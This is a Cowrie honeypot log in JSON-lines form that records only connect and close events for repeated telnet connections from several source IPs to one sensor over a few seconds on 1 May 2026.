{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":46712,"dst_ip":"159.203.135.109","dst_port":23,"session":"11295dd07dc2","protocol":"telnet","message":"New connection: 37.187.24.227:46712 (159.203.135.109:23) [session: 11295dd07dc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:28.188175Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":52434,"dst_ip":"159.203.135.109","dst_port":23,"session":"c34a10880f90","protocol":"telnet","message":"New connection: 168.119.91.149:52434 (159.203.135.109:23) [session: c34a10880f90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:28.279942Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":46950,"dst_ip":"159.203.135.109","dst_port":23,"session":"3718ba4a5062","protocol":"telnet","message":"New connection: 37.187.24.227:46950 (159.203.135.109:23) [session: 3718ba4a5062]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:28.285648Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":56256,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a7100753105","protocol":"telnet","message":"New connection: 81.30.157.18:56256 (159.203.135.109:23) [session: 2a7100753105]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:28.289476Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":46938,"dst_ip":"159.203.135.109","dst_port":23,"session":"e42154738fa2","protocol":"telnet","message":"New connection: 37.187.24.227:46938 (159.203.135.109:23) [session: e42154738fa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:28.293000Z"}
{"eventid":"cowrie.session.closed","duration":30.828575134277344,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:28.484508Z","src_ip":"168.119.91.149","session":"c8c4cd479200","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.554916620254517,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:28.738365Z","src_ip":"168.119.91.149","session":"3d91f20dd125","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":52464,"dst_ip":"159.203.135.109","dst_port":23,"session":"246ffb117624","protocol":"telnet","message":"New connection: 168.119.91.149:52464 (159.203.135.109:23) [session: 246ffb117624]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:28.754654Z"}
{"eventid":"cowrie.session.closed","duration":31.234957695007324,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:28.813934Z","src_ip":"168.119.91.149","session":"82f4c9c65449","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.22191047668457,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:29.077129Z","src_ip":"81.30.157.18","session":"d436774c4fec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.048635959625244,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:29.091825Z","src_ip":"37.187.24.227","session":"42dbb322255f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":48990,"dst_ip":"159.203.135.109","dst_port":23,"session":"076e3661ddff","protocol":"telnet","message":"New connection: 37.187.24.227:48990 (159.203.135.109:23) [session: 076e3661ddff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:29.185904Z"}
{"eventid":"cowrie.session.closed","duration":30.552988052368164,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:29.309979Z","src_ip":"85.208.100.77","session":"0d2a8648282d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":56270,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d8f4de09246","protocol":"telnet","message":"New connection: 81.30.157.18:56270 (159.203.135.109:23) [session: 8d8f4de09246]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:29.320415Z"}
{"eventid":"cowrie.session.closed","duration":30.156381845474243,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:29.469810Z","src_ip":"168.119.91.149","session":"0ff8ba5354da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.773916721343994,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:29.481297Z","src_ip":"168.119.91.149","session":"63ea888ecec1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":49926,"dst_ip":"159.203.135.109","dst_port":23,"session":"81daa53de076","protocol":"telnet","message":"New connection: 37.187.24.227:49926 (159.203.135.109:23) [session: 81daa53de076]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:29.546367Z"}
{"eventid":"cowrie.session.closed","duration":30.49496054649353,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:29.563731Z","src_ip":"168.119.91.149","session":"912442852e9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":50114,"dst_ip":"159.203.135.109","dst_port":23,"session":"48cdfd31df62","protocol":"telnet","message":"New connection: 37.187.24.227:50114 (159.203.135.109:23) [session: 48cdfd31df62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:29.641426Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":57364,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ef7e0483950","protocol":"telnet","message":"New connection: 168.119.91.149:57364 (159.203.135.109:23) [session: 0ef7e0483950]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:29.647656Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":57374,"dst_ip":"159.203.135.109","dst_port":23,"session":"6faeab76acba","protocol":"telnet","message":"New connection: 168.119.91.149:57374 (159.203.135.109:23) [session: 6faeab76acba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:29.702268Z"}
{"eventid":"cowrie.session.closed","duration":30.49045443534851,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:30.068893Z","src_ip":"147.135.136.77","session":"5e5c08005163","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.139.22","src_port":59924,"dst_ip":"159.203.135.109","dst_port":23,"session":"db3ddc94d4c8","protocol":"telnet","message":"New connection: 206.189.139.22:59924 (159.203.135.109:23) [session: db3ddc94d4c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:30.080130Z"}
{"eventid":"cowrie.session.closed","duration":30.752370357513428,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:30.109502Z","src_ip":"85.208.100.77","session":"c33bbc101ce1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.965593814849854,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:30.149593Z","src_ip":"46.101.32.143","session":"6469cc116c1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":57424,"dst_ip":"159.203.135.109","dst_port":23,"session":"87c09bc3c3ad","protocol":"telnet","message":"New connection: 168.119.91.149:57424 (159.203.135.109:23) [session: 87c09bc3c3ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:30.205675Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":57428,"dst_ip":"159.203.135.109","dst_port":23,"session":"046440ad4924","protocol":"telnet","message":"New connection: 168.119.91.149:57428 (159.203.135.109:23) [session: 046440ad4924]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:30.288575Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":56276,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f0b6c7f488f","protocol":"telnet","message":"New connection: 81.30.157.18:56276 (159.203.135.109:23) [session: 9f0b6c7f488f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:30.373684Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":57102,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ebe91b7e14d","protocol":"telnet","message":"New connection: 85.208.100.77:57102 (159.203.135.109:23) [session: 2ebe91b7e14d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:30.521523Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":56296,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba6508ee69ba","protocol":"telnet","message":"New connection: 81.30.157.18:56296 (159.203.135.109:23) [session: ba6508ee69ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:30.599686Z"}
{"eventid":"cowrie.session.closed","duration":31.53753972053528,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:30.632884Z","src_ip":"81.30.157.18","session":"0aeb50ebeed9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.252068281173706,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:30.849198Z","src_ip":"168.119.91.149","session":"8f75c4d6fd52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.68603157997131,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:30.908080Z","src_ip":"147.135.136.77","session":"b38abbd56cda","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85608744621277,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:31.039830Z","src_ip":"51.79.21.139","session":"fe5f26aa3129","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.68389892578125,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:31.045381Z","src_ip":"46.101.32.143","session":"8e5bf63cccc5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.496936798095703,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:31.078181Z","src_ip":"147.135.136.77","session":"ae821feca81b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":57570,"dst_ip":"159.203.135.109","dst_port":23,"session":"6217b42bfe4e","protocol":"telnet","message":"New connection: 168.119.91.149:57570 (159.203.135.109:23) [session: 6217b42bfe4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:31.171179Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":57572,"dst_ip":"159.203.135.109","dst_port":23,"session":"8cbcb34f1302","protocol":"telnet","message":"New connection: 168.119.91.149:57572 (159.203.135.109:23) [session: 8cbcb34f1302]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:31.175849Z"}
{"eventid":"cowrie.session.closed","duration":31.159579515457153,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:31.204957Z","src_ip":"81.30.157.18","session":"de0381793368","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":57598,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8a22a12f4cc","protocol":"telnet","message":"New connection: 168.119.91.149:57598 (159.203.135.109:23) [session: b8a22a12f4cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:31.559785Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":56304,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3489eb94f4e","protocol":"telnet","message":"New connection: 81.30.157.18:56304 (159.203.135.109:23) [session: b3489eb94f4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:31.616894Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":57600,"dst_ip":"159.203.135.109","dst_port":23,"session":"3af8bc8fd491","protocol":"telnet","message":"New connection: 168.119.91.149:57600 (159.203.135.109:23) [session: 3af8bc8fd491]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:31.660458Z"}
{"eventid":"cowrie.session.connect","src_ip":"116.118.250.81","src_port":41204,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9c3ee586d7e","protocol":"telnet","message":"New connection: 116.118.250.81:41204 (159.203.135.109:23) [session: b9c3ee586d7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:31.768855Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":33164,"dst_ip":"159.203.135.109","dst_port":23,"session":"744804e200ed","protocol":"telnet","message":"New connection: 147.135.136.77:33164 (159.203.135.109:23) [session: 744804e200ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:31.778349Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":56328,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea6127536901","protocol":"telnet","message":"New connection: 81.30.157.18:56328 (159.203.135.109:23) [session: ea6127536901]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:32.121603Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":56344,"dst_ip":"159.203.135.109","dst_port":23,"session":"44225634db1f","protocol":"telnet","message":"New connection: 81.30.157.18:56344 (159.203.135.109:23) [session: 44225634db1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:32.178161Z"}
{"eventid":"cowrie.session.closed","duration":30.72541856765747,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:32.292892Z","src_ip":"46.101.32.143","session":"6b8051c940d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.957624673843384,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:32.380032Z","src_ip":"81.30.157.18","session":"fb0c8363667c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":33180,"dst_ip":"159.203.135.109","dst_port":23,"session":"891dc6a6ac8c","protocol":"telnet","message":"New connection: 147.135.136.77:33180 (159.203.135.109:23) [session: 891dc6a6ac8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:32.458390Z"}
{"eventid":"cowrie.session.closed","duration":30.430710792541504,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:32.498254Z","src_ip":"168.119.91.149","session":"14d5369c2d91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.35575771331787,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:32.508680Z","src_ip":"168.119.91.149","session":"8e3bd4e38360","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":33186,"dst_ip":"159.203.135.109","dst_port":23,"session":"31f11831e3a9","protocol":"telnet","message":"New connection: 147.135.136.77:33186 (159.203.135.109:23) [session: 31f11831e3a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:32.617504Z"}
{"eventid":"cowrie.session.closed","duration":31.173338174819946,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:32.703844Z","src_ip":"168.119.91.149","session":"1bf489bccf7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.42907691001892,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:33.006634Z","src_ip":"168.119.91.149","session":"197a54904bed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.886566162109375,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:33.068707Z","src_ip":"37.187.24.227","session":"85591b23653e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":33224,"dst_ip":"159.203.135.109","dst_port":23,"session":"10fcd7ccd34d","protocol":"telnet","message":"New connection: 147.135.136.77:33224 (159.203.135.109:23) [session: 10fcd7ccd34d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:33.085305Z"}
{"eventid":"cowrie.session.closed","duration":30.59195351600647,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:33.124102Z","src_ip":"81.30.157.18","session":"7cab4070f702","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":33234,"dst_ip":"159.203.135.109","dst_port":23,"session":"9775bdab64bb","protocol":"telnet","message":"New connection: 147.135.136.77:33234 (159.203.135.109:23) [session: 9775bdab64bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:33.185179Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":59114,"dst_ip":"159.203.135.109","dst_port":23,"session":"2660bcd07973","protocol":"telnet","message":"New connection: 37.187.24.227:59114 (159.203.135.109:23) [session: 2660bcd07973]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:33.206471Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":35412,"dst_ip":"159.203.135.109","dst_port":23,"session":"f13e53b519e5","protocol":"telnet","message":"New connection: 149.102.133.101:35412 (159.203.135.109:23) [session: f13e53b519e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:33.307832Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":56354,"dst_ip":"159.203.135.109","dst_port":23,"session":"46e8f7f1163e","protocol":"telnet","message":"New connection: 81.30.157.18:56354 (159.203.135.109:23) [session: 46e8f7f1163e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:33.357592Z"}
{"eventid":"cowrie.session.closed","duration":30.272275686264038,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:33.469212Z","src_ip":"168.119.91.149","session":"956d4989266b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":57660,"dst_ip":"159.203.135.109","dst_port":23,"session":"e32d3d0dfa2f","protocol":"telnet","message":"New connection: 168.119.91.149:57660 (159.203.135.109:23) [session: e32d3d0dfa2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:33.501263Z"}
{"eventid":"cowrie.session.closed","duration":31.333082675933838,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:33.563722Z","src_ip":"147.135.136.77","session":"22570c64f8d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.230841636657715,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:33.568807Z","src_ip":"168.119.91.149","session":"9477ee1d2deb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.06896710395813,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:33.580074Z","src_ip":"168.119.91.149","session":"49ecdfd443dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.924880027770996,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:33.991866Z","src_ip":"168.119.91.149","session":"0f0d370d3598","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.905384302139282,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:34.013965Z","src_ip":"168.119.91.149","session":"029387870cda","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93308973312378,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:34.047316Z","src_ip":"81.30.157.18","session":"79eb5f136102","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99329900741577,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:34.052368Z","src_ip":"81.30.157.18","session":"c64ec18c64bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":33240,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5de6ba6045b","protocol":"telnet","message":"New connection: 147.135.136.77:33240 (159.203.135.109:23) [session: b5de6ba6045b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:34.085719Z"}
{"eventid":"cowrie.session.closed","duration":30.821741342544556,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:34.090549Z","src_ip":"81.30.157.18","session":"366d7232c578","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":40314,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5b7d8769e0d","protocol":"telnet","message":"New connection: 81.30.157.18:40314 (159.203.135.109:23) [session: c5b7d8769e0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:34.291862Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":57700,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7b9934c77d5","protocol":"telnet","message":"New connection: 168.119.91.149:57700 (159.203.135.109:23) [session: b7b9934c77d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:34.299048Z"}
{"eventid":"cowrie.session.closed","duration":31.044477462768555,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:34.309173Z","src_ip":"81.30.157.18","session":"fa837212b872","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.521288633346558,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:34.340420Z","src_ip":"51.79.21.139","session":"2dc6e2ae2d02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.039726972579956,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:34.404135Z","src_ip":"147.135.136.77","session":"73ae9e57c1e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":40332,"dst_ip":"159.203.135.109","dst_port":23,"session":"50d8bbe7280e","protocol":"telnet","message":"New connection: 81.30.157.18:40332 (159.203.135.109:23) [session: 50d8bbe7280e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:34.481628Z"}
{"eventid":"cowrie.session.closed","duration":30.849185705184937,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:34.497483Z","src_ip":"168.119.91.149","session":"80615b0ff75a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":40334,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ded64c6d64b","protocol":"telnet","message":"New connection: 81.30.157.18:40334 (159.203.135.109:23) [session: 9ded64c6d64b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:34.526934Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":33238,"dst_ip":"159.203.135.109","dst_port":23,"session":"855543500d4c","protocol":"telnet","message":"New connection: 147.135.136.77:33238 (159.203.135.109:23) [session: 855543500d4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:34.933466Z"}
